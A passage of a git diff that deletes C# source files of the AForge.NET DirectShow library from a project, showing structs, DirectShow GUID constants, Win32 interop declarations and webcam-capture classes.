by the bitmap. - /// - public int ColorsUsed; - - /// - /// Specifies the number of color indices that are considered important for displaying the bitmap. - /// - public int ColorsImportant; - } - - // RECT - - /// - /// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct RECT - { - /// - /// Specifies the x-coordinate of the upper-left corner of the rectangle. - /// - public int Left; - - /// - /// Specifies the y-coordinate of the upper-left corner of the rectangle. - /// - public int Top; - - /// - /// Specifies the x-coordinate of the lower-right corner of the rectangle. - /// - public int Right; - - /// - /// Specifies the y-coordinate of the lower-right corner of the rectangle. - /// - public int Bottom; - } - - // CAUUID - - /// - /// The CAUUID structure is a Counted Array of UUID or GUID types. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct CAUUID - { - /// - /// Size of the array pointed to by pElems. - /// - public int cElems; - - /// - /// Pointer to an array of UUID values, each of which specifies UUID. - /// - public IntPtr pElems; - - /// - /// Performs manual marshaling of pElems to retrieve an array of Guid objects. - /// - /// - /// A managed representation of pElems. - /// - public Guid[] ToGuidArray( ) - { - Guid[] retval = new Guid[cElems]; - - for ( int i = 0; i < cElems; i++ ) - { - IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) ); - retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) ); - } - - return retval; - } - } - - /// - /// Enumeration of DirectShow event codes. - /// - internal enum DsEvCode - { - None, - Complete = 0x01, // EC_COMPLETE - DeviceLost = 0x1F, // EC_DEVICE_LOST - //(...) not yet interested in other events - } - - [Flags, ComVisible( false )] - internal enum AnalogVideoStandard - { - None = 0x00000000, // This is a digital sensor - NTSC_M = 0x00000001, // 75 IRE Setup - NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup - NTSC_433 = 0x00000004, - PAL_B = 0x00000010, - PAL_D = 0x00000020, - PAL_G = 0x00000040, - PAL_H = 0x00000080, - PAL_I = 0x00000100, - PAL_M = 0x00000200, - PAL_N = 0x00000400, - PAL_60 = 0x00000800, - SECAM_B = 0x00001000, - SECAM_D = 0x00002000, - SECAM_G = 0x00004000, - SECAM_H = 0x00008000, - SECAM_K = 0x00010000, - SECAM_K1 = 0x00020000, - SECAM_L = 0x00040000, - SECAM_L1 = 0x00080000, - PAL_N_COMBO = 0x00100000 // Argentina - } - - [Flags, ComVisible( false )] - internal enum VideoControlFlags - { - FlipHorizontal = 0x0001, - FlipVertical = 0x0002, - ExternalTriggerEnable = 0x0004, - Trigger = 0x0008 - } - - [StructLayout( LayoutKind.Sequential ), ComVisible( false )] - internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS - { - public Guid Guid; - public AnalogVideoStandard VideoStandard; - public Size InputSize; - public Size MinCroppingSize; - public Size MaxCroppingSize; - public int CropGranularityX; - public int CropGranularityY; - public int CropAlignX; - public int CropAlignY; - public Size MinOutputSize; - public Size MaxOutputSize; - public int OutputGranularityX; - public int OutputGranularityY; - public int StretchTapsX; - public int StretchTapsY; - public int ShrinkTapsX; - public int ShrinkTapsY; - public long MinFrameInterval; - public long MaxFrameInterval; - public int MinBitsPerSecond; - public int MaxBitsPerSecond; - } - - /// - /// Specifies a filter's state or the state of the filter graph. - /// - internal enum FilterState - { - /// - /// Stopped. The filter is not processing data. - /// - State_Stopped, - - /// - /// Paused. The filter is processing data, but not rendering it. - /// - State_Paused, - - /// - /// Running. The filter is processing and rendering data. - /// - State_Running - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/Uuids.cs b/Client/Core/AForge/Video.DirectShow/Internals/Uuids.cs deleted file mode 100644 index 8dc187454..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/Uuids.cs +++ /dev/null @@ -1,299 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// DirectShow class IDs. - /// - [ComVisible( false )] - static internal class Clsid - { - /// - /// System device enumerator. - /// - /// - /// Equals to CLSID_SystemDeviceEnum. - /// - public static readonly Guid SystemDeviceEnum = - new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Filter graph. - /// - /// - /// Equals to CLSID_FilterGraph. - /// - public static readonly Guid FilterGraph = - new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// Sample grabber. - /// - /// - /// Equals to CLSID_SampleGrabber. - /// - public static readonly Guid SampleGrabber = - new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 ); - - /// - /// Capture graph builder. - /// - /// - /// Equals to CLSID_CaptureGraphBuilder2. - /// - public static readonly Guid CaptureGraphBuilder2 = - new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); - - /// - /// Async reader. - /// - /// - /// Equals to CLSID_AsyncReader. - /// - public static readonly Guid AsyncReader = - new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - } - - /// - /// DirectShow format types. - /// - /// - [ComVisible( false )] - static internal class FormatType - { - /// - /// VideoInfo. - /// - /// - /// Equals to FORMAT_VideoInfo. - /// - public static readonly Guid VideoInfo = - new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A ); - - /// - /// VideoInfo2. - /// - /// - /// Equals to FORMAT_VideoInfo2. - /// - public static readonly Guid VideoInfo2 = - new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); - } - - /// - /// DirectShow media types. - /// - /// - [ComVisible( false )] - static internal class MediaType - { - /// - /// Video. - /// - /// - /// Equals to MEDIATYPE_Video. - /// - public static readonly Guid Video = - new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Interleaved. Used by Digital Video (DV). - /// - /// - /// Equals to MEDIATYPE_Interleaved. - /// - public static readonly Guid Interleaved = - new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Audio. - /// - /// - /// Equals to MEDIATYPE_Audio. - /// - public static readonly Guid Audio = - new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Text. - /// - /// - /// Equals to MEDIATYPE_Text. - /// - public static readonly Guid Text = - new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Byte stream with no time stamps. - /// - /// - /// Equals to MEDIATYPE_Stream. - /// - public static readonly Guid Stream = - new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - } - - /// - /// DirectShow media subtypes. - /// - /// - [ComVisible( false )] - static internal class MediaSubType - { - /// - /// YUY2 (packed 4:2:2). - /// - /// - /// Equals to MEDIASUBTYPE_YUYV. - /// - public static readonly Guid YUYV = - new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// IYUV. - /// - /// - /// Equals to MEDIASUBTYPE_IYUV. - /// - public static readonly Guid IYUV = - new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// A DV encoding format. (FOURCC 'DVSD') - /// - /// - /// Equals to MEDIASUBTYPE_DVSD. - /// - public static readonly Guid DVSD = - new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// RGB, 1 bit per pixel (bpp), palettized. - /// - /// - /// Equals to MEDIASUBTYPE_RGB1. - /// - public static readonly Guid RGB1 = - new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 4 bpp, palettized. - /// - /// - /// Equals to MEDIASUBTYPE_RGB4. - /// - public static readonly Guid RGB4 = - new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 8 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB8. - /// - public static readonly Guid RGB8 = - new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB 565, 16 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB565. - /// - public static readonly Guid RGB565 = - new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB 555, 16 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB555. - /// - public static readonly Guid RGB555 = - new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 24 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB24. - /// - public static readonly Guid RGB24 = - new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 32 bpp, no alpha channel. - /// - /// - /// Equals to MEDIASUBTYPE_RGB32. - /// - public static readonly Guid RGB32 = - new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// Data from AVI file. - /// - /// - /// Equals to MEDIASUBTYPE_Avi. - /// - public static readonly Guid Avi = - new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// Advanced Streaming Format (ASF). - /// - /// - /// Equals to MEDIASUBTYPE_Asf. - /// - public static readonly Guid Asf = - new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 ); - } - - /// - /// DirectShow pin categories. - /// - /// - [ComVisible( false )] - static internal class PinCategory - { - /// - /// Capture pin. - /// - /// - /// Equals to PIN_CATEGORY_CAPTURE. - /// - public static readonly Guid Capture = - new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); - - /// - /// Still image pin. - /// - /// - /// Equals to PIN_CATEGORY_STILL. - /// - public static readonly Guid StillImage = - new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); - } - - // Below GUIDs are used by ICaptureGraphBuilder::FindInterface(). - [ComVisible( false )] - static internal class FindDirection - { - /// Equals to LOOK_UPSTREAM_ONLY. - public static readonly Guid UpstreamOnly = - new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); - - /// Equals to LOOK_DOWNSTREAM_ONLY. - public static readonly Guid DownstreamOnly = - new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/Win32.cs b/Client/Core/AForge/Video.DirectShow/Internals/Win32.cs deleted file mode 100644 index 73d2e9092..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/Win32.cs +++ /dev/null @@ -1,102 +0,0 @@ -// AForge Video for Windows Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2007-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - - /// - /// Some Win32 API used internally. - /// - /// - internal static class Win32 - { - /// - /// Supplies a pointer to an implementation of IBindCtx (a bind context object). - /// This object stores information about a particular moniker-binding operation. - /// - /// - /// Reserved for future use; must be zero. - /// Address of IBindCtx* pointer variable that receives the - /// interface pointer to the new bind context object. - /// - /// Returns S_OK on success. - /// - [DllImport( "ole32.dll" )] - public static extern - int CreateBindCtx( int reserved, out IBindCtx ppbc ); - - /// - /// Converts a string into a moniker that identifies the object named by the string. - /// - /// - /// Pointer to the IBindCtx interface on the bind context object to be used in this binding operation. - /// Pointer to a zero-terminated wide character string containing the display name to be parsed. - /// Pointer to the number of characters of szUserName that were consumed. - /// Address of IMoniker* pointer variable that receives the interface pointer - /// to the moniker that was built from szUserName. - /// - /// Returns S_OK on success. - /// - [DllImport( "ole32.dll", CharSet = CharSet.Unicode )] - public static extern - int MkParseDisplayName( IBindCtx pbc, string szUserName, - ref int pchEaten, out IMoniker ppmk ); - - /// - /// Copy a block of memory. - /// - /// - /// Destination pointer. - /// Source pointer. - /// Memory block's length to copy. - /// - /// Return's the value of dst - pointer to destination. - /// - [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] - public static unsafe extern int memcpy( - byte* dst, - byte* src, - int count ); - - /// - /// Invokes a new property frame, that is, a property sheet dialog box. - /// - /// - /// Parent window of property sheet dialog box. - /// Horizontal position for dialog box. - /// Vertical position for dialog box. - /// Dialog box caption. - /// Number of object pointers in ppUnk. - /// Pointer to the objects for property sheet. - /// Number of property pages in lpPageClsID. - /// Array of CLSIDs for each property page. - /// Locale identifier for property sheet locale. - /// Reserved. - /// Reserved. - /// - /// Returns S_OK on success. - /// - [DllImport( "oleaut32.dll" )] - public static extern int OleCreatePropertyFrame( - IntPtr hwndOwner, - int x, - int y, - [MarshalAs( UnmanagedType.LPWStr )] string caption, - int cObjects, - [MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )] - ref object ppUnk, - int cPages, - IntPtr lpPageClsID, - int lcid, - int dwReserved, - IntPtr lpvReserved ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/PhysicalConnectorType.cs b/Client/Core/AForge/Video.DirectShow/PhysicalConnectorType.cs deleted file mode 100644 index 365a7c3c0..000000000 --- a/Client/Core/AForge/Video.DirectShow/PhysicalConnectorType.cs +++ /dev/null @@ -1,123 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2012 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - /// - /// Specifies the physical type of pin (audio or video). - /// - public enum PhysicalConnectorType - { - /// - /// Default value of connection type. Physically it does not exist, but just either to specify that - /// connection type should not be changed (input) or was not determined (output). - /// - Default = 0, - /// - /// Specifies a tuner pin for video. - /// - VideoTuner = 1, - /// - /// Specifies a composite pin for video. - /// - VideoComposite, - /// - /// Specifies an S-Video (Y/C video) pin. - /// - VideoSVideo, - /// - /// Specifies an RGB pin for video. - /// - VideoRGB, - /// - /// Specifies a YRYBY (Y, R–Y, B–Y) pin for video. - /// - VideoYRYBY, - /// - /// Specifies a serial digital pin for video. - /// - VideoSerialDigital, - /// - /// Specifies a parallel digital pin for video. - /// - VideoParallelDigital, - /// - /// Specifies a SCSI (Small Computer System Interface) pin for video. - /// - VideoSCSI, - /// - /// Specifies an AUX (auxiliary) pin for video. - /// - VideoAUX, - /// - /// Specifies an IEEE 1394 pin for video. - /// - Video1394, - /// - /// Specifies a USB (Universal Serial Bus) pin for video. - /// - VideoUSB, - /// - /// Specifies a video decoder pin. - /// - VideoDecoder, - /// - /// Specifies a video encoder pin. - /// - VideoEncoder, - /// - /// Specifies a SCART (Peritel) pin for video. - /// - VideoSCART, - /// - /// Not used. - /// - VideoBlack, - - /// - /// Specifies a tuner pin for audio. - /// - AudioTuner = 4096, - /// - /// Specifies a line pin for audio. - /// - AudioLine, - /// - /// Specifies a microphone pin. - /// - AudioMic, - /// - /// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio. - /// - AudioAESDigital, - /// - /// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio. - /// - AudioSPDIFDigital, - /// - /// Specifies a SCSI pin for audio. - /// - AudioSCSI, - /// - /// Specifies an AUX pin for audio. - /// - AudioAUX, - /// - /// Specifies an IEEE 1394 pin for audio. - /// - Audio1394, - /// - /// Specifies a USB pin for audio. - /// - AudioUSB, - /// - /// Specifies an audio decoder pin. - /// - AudioDecoder - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Uuids.cs b/Client/Core/AForge/Video.DirectShow/Uuids.cs deleted file mode 100644 index 3256fedce..000000000 --- a/Client/Core/AForge/Video.DirectShow/Uuids.cs +++ /dev/null @@ -1,55 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Runtime.InteropServices; - - /// - /// DirectShow filter categories. - /// - [ComVisible( false )] - public static class FilterCategory - { - /// - /// Audio input device category. - /// - /// - /// Equals to CLSID_AudioInputDeviceCategory. - /// - public static readonly Guid AudioInputDevice = - new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Video input device category. - /// - /// - /// Equals to CLSID_VideoInputDeviceCategory. - /// - public static readonly Guid VideoInputDevice = - new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Video compressor category. - /// - /// - /// Equals to CLSID_VideoCompressorCategory. - /// - public static readonly Guid VideoCompressorCategory = - new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Audio compressor category - /// - /// - /// Equals to CLSID_AudioCompressorCategory. - /// - public static readonly Guid AudioCompressorCategory = - new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/VideoCapabilities.cs b/Client/Core/AForge/Video.DirectShow/VideoCapabilities.cs deleted file mode 100644 index a7c8dd413..000000000 --- a/Client/Core/AForge/Video.DirectShow/VideoCapabilities.cs +++ /dev/null @@ -1,245 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Collections.Generic; - using System.Drawing; - using System.Runtime.InteropServices; - - using AForge.Video; - using AForge.Video.DirectShow.Internals; - - /// - /// Capabilities of video device such as frame size and frame rate. - /// - public class VideoCapabilities - { - /// - /// Frame size supported by video device. - /// - public readonly Size FrameSize; - - /// - /// Frame rate supported by video device for corresponding frame size. - /// - /// - /// This field is depricated - should not be used. - /// Its value equals to . - /// - /// - [Obsolete( "No longer supported. Use AverageFrameRate instead." )] - public int FrameRate - { - get { return AverageFrameRate; } - } - - /// - /// Average frame rate of video device for corresponding frame size. - /// - public readonly int AverageFrameRate; - - /// - /// Maximum frame rate of video device for corresponding frame size. - /// - public readonly int MaximumFrameRate; - - /// - /// Number of bits per pixel provided by the camera. - /// - public readonly int BitCount; - - internal VideoCapabilities( ) { } - - // Retrieve capabilities of a video device - static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig ) - { - if ( videoStreamConfig == null ) - throw new ArgumentNullException( "videoStreamConfig" ); - - // ensure this device reports capabilities - int count, size; - int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size ); - - if ( hr != 0 ) - Marshal.ThrowExceptionForHR( hr ); - - if ( count <= 0 ) - throw new NotSupportedException( "This video device does not report capabilities." ); - - if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) ) - throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." ); - - // group capabilities with similar parameters - Dictionary videocapsList = new Dictionary( ); - - for ( int i = 0; i < count; i++ ) - { - try - { - VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i ); - - uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) | - ( ( (uint) vc.FrameSize.Width ) << 16 ); - - if ( !videocapsList.ContainsKey( key ) ) - { - videocapsList.Add( key, vc ); - } - else - { - if ( vc.BitCount > videocapsList[key].BitCount ) - { - videocapsList[key] = vc; - } - } - } - catch - { - } - } - - VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count]; - videocapsList.Values.CopyTo( videocaps, 0 ); - - return videocaps; - } - - // Retrieve capabilities of a video device - internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index ) - { - AMMediaType mediaType = null; - VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); - - try - { - // retrieve capabilities struct at the specified index - int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps ); - - if ( hr != 0 ) - Marshal.ThrowExceptionForHR( hr ); - - if ( mediaType.FormatType == FormatType.VideoInfo ) - { - VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); - - FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); - BitCount = videoInfo.BmiHeader.BitCount; - AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); - MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); - } - else if ( mediaType.FormatType == FormatType.VideoInfo2 ) - { - VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) ); - - FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); - BitCount = videoInfo.BmiHeader.BitCount; - AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); - MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); - } - else - { - throw new ApplicationException( "Unsupported format found." ); - } - - // ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8 - // TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail - // on such formats - if ( BitCount <= 12 ) - { - throw new ApplicationException( "Unsupported format found." ); - } - } - finally - { - if ( mediaType != null ) - mediaType.Dispose( ); - } - } - - /// - /// Check if the video capability equals to the specified object. - /// - /// - /// Object to compare with. - /// - /// Returns true if both are equal are equal or false otherwise. - /// - public override bool Equals( object obj ) - { - return Equals( obj as VideoCapabilities ); - } - - /// - /// Check if two video capabilities are equal. - /// - /// - /// Second video capability to compare with. - /// - /// Returns true if both video capabilities are equal or false otherwise. - /// - public bool Equals( VideoCapabilities vc2 ) - { - if ( (object) vc2 == null ) - { - return false; - } - - return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) ); - } - - /// - /// Get hash code of the object. - /// - /// - /// Returns hash code ot the object - public override int GetHashCode( ) - { - return FrameSize.GetHashCode( ) ^ BitCount; - } - - /// - /// Equality operator. - /// - /// - /// First object to check. - /// Seconds object to check. - /// - /// Return true if both objects are equal or false otherwise. - public static bool operator ==( VideoCapabilities a, VideoCapabilities b ) - { - // if both are null, or both are same instance, return true. - if ( object.ReferenceEquals( a, b ) ) - { - return true; - } - - // if one is null, but not both, return false. - if ( ( (object) a == null ) || ( (object) b == null ) ) - { - return false; - } - - return a.Equals( b ); - } - - /// - /// Inequality operator. - /// - /// - /// First object to check. - /// Seconds object to check. - /// - /// Return true if both objects are not equal or false otherwise. - public static bool operator !=( VideoCapabilities a, VideoCapabilities b ) - { - return !( a == b ); - } - } -} diff --git a/Client/Core/AForge/Video.DirectShow/VideoCaptureDevice.cs b/Client/Core/AForge/Video.DirectShow/VideoCaptureDevice.cs deleted file mode 100644 index 8b76c5a30..000000000 --- a/Client/Core/AForge/Video.DirectShow/VideoCaptureDevice.cs +++ /dev/null @@ -1,1698 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Collections.Generic; - using System.Drawing; - using System.Drawing.Imaging; - using System.Threading; - using System.Runtime.InteropServices; - - using AForge.Video; - using AForge.Video.DirectShow.Internals; - - /// - /// Video source for local video capture device (for example USB webcam). - /// - /// - /// This video source class captures video data from local video capture device, - /// like USB web camera (or internal), frame grabber, capture board - anything which - /// supports DirectShow interface. For devices which has a shutter button or - /// support external software triggering, the class also allows to do snapshots. Both - /// video size and snapshot size can be configured. - /// - /// Sample usage: - /// - /// // enumerate video devices - /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); - /// // create video source - /// VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString ); - /// // set NewFrame event handler - /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); - /// // start the video source - /// videoSource.Start( ); - /// // ... - /// // signal to stop when you no longer need capturing - /// videoSource.SignalToStop( ); - /// // ... - /// - /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) - /// { - /// // get new frame - /// Bitmap bitmap = eventArgs.Frame; - /// // process the frame - /// } - /// - /// - /// - public class VideoCaptureDevice : IVideoSource - { - // moniker string of video capture device - private string deviceMoniker; - // received frames count - private int framesReceived; - // recieved byte count - private long bytesReceived; - - // video and snapshot resolutions to set - private VideoCapabilities videoResolution = null; - private VideoCapabilities snapshotResolution = null; - - // provide snapshots or not - private bool provideSnapshots = false; - - private Thread thread = null; - private ManualResetEvent stopEvent = null; - - private VideoCapabilities[] videoCapabilities; - private VideoCapabilities[] snapshotCapabilities; - - private bool needToSetVideoInput = false; - private bool needToSimulateTrigger = false; - private bool needToDisplayPropertyPage = false; - private bool needToDisplayCrossBarPropertyPage = false; - private IntPtr parentWindowForPropertyPage = IntPtr.Zero; - - // video capture source object - private object sourceObject = null; - - // time of starting the DirectX graph - private DateTime startTime = new DateTime( ); - - // dummy object to lock for synchronization - private object sync = new object( ); - - // flag specifying if IAMCrossbar interface is supported by the running graph/source object - private bool? isCrossbarAvailable = null; - - private VideoInput[] crossbarVideoInputs = null; - private VideoInput crossbarVideoInput = VideoInput.Default; - - // cache for video/snapshot capabilities and video inputs - private static Dictionary cacheVideoCapabilities = new Dictionary( ); - private static Dictionary cacheSnapshotCapabilities = new Dictionary( ); - private static Dictionary cacheCrossbarVideoInputs = new Dictionary( ); - - /// - /// Current video input of capture card. - /// - /// - /// The property specifies video input to use for video devices like capture cards - /// (those which provide crossbar configuration). List of available video inputs can be obtained - /// from property. - /// - /// To check if the video device supports crossbar configuration, the - /// method can be used. - /// - /// This property can be set as before running video device, as while running it. - /// - /// By default this property is set to , which means video input - /// will not be set when running video device, but currently configured will be used. After video device - /// is started this property will be updated anyway to tell current video input. - /// - /// - public VideoInput CrossbarVideoInput - { - get { return crossbarVideoInput; } - set - { - needToSetVideoInput = true; - crossbarVideoInput = value; - } - } - - /// - /// Available inputs of the video capture card. - /// - /// - /// The property provides list of video inputs for devices like video capture cards. - /// Such devices usually provide several video inputs, which can be selected using crossbar. - /// If video device represented by the object of this class supports crossbar, then this property - /// will list all video inputs. However if it is a regular USB camera, for example, which does not - /// provide crossbar configuration, the property will provide zero length array. - /// - /// Video input to be used can be selected using . See also - /// method, which provides crossbar configuration dialog. - /// - /// It is recomended not to call this property immediately after method, since - /// device may not start yet and provide its information. It is better to call the property - /// before starting device or a bit after (but not immediately after). - /// - /// - public VideoInput[] AvailableCrossbarVideoInputs - { - get - { - if ( crossbarVideoInputs == null ) - { - lock ( cacheCrossbarVideoInputs ) - { - if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) ) - { - crossbarVideoInputs = cacheCrossbarVideoInputs[deviceMoniker]; - } - } - - if ( crossbarVideoInputs == null ) - { - if ( !IsRunning ) - { - // create graph without playing to collect available inputs - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( crossbarVideoInputs == null ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - } - // don't return null even if capabilities are not provided for some reason - return ( crossbarVideoInputs != null ) ? crossbarVideoInputs : new VideoInput[0]; - } - } - - /// - /// Specifies if snapshots should be provided or not. - /// - /// - /// Some USB cameras/devices may have a shutter button, which may result into snapshot if it - /// is pressed. So the property specifies if the video source will try providing snapshots or not - it will - /// check if the camera supports providing still image snapshots. If camera supports snapshots and the property - /// is set to , then snapshots will be provided through - /// event. - /// - /// Check supported sizes of snapshots using property and set the - /// desired size using property. - /// - /// The property must be set before running the video source to take effect. - /// - /// Default value of the property is set to . - /// - /// - public bool ProvideSnapshots - { - get { return provideSnapshots; } - set { provideSnapshots = value; } 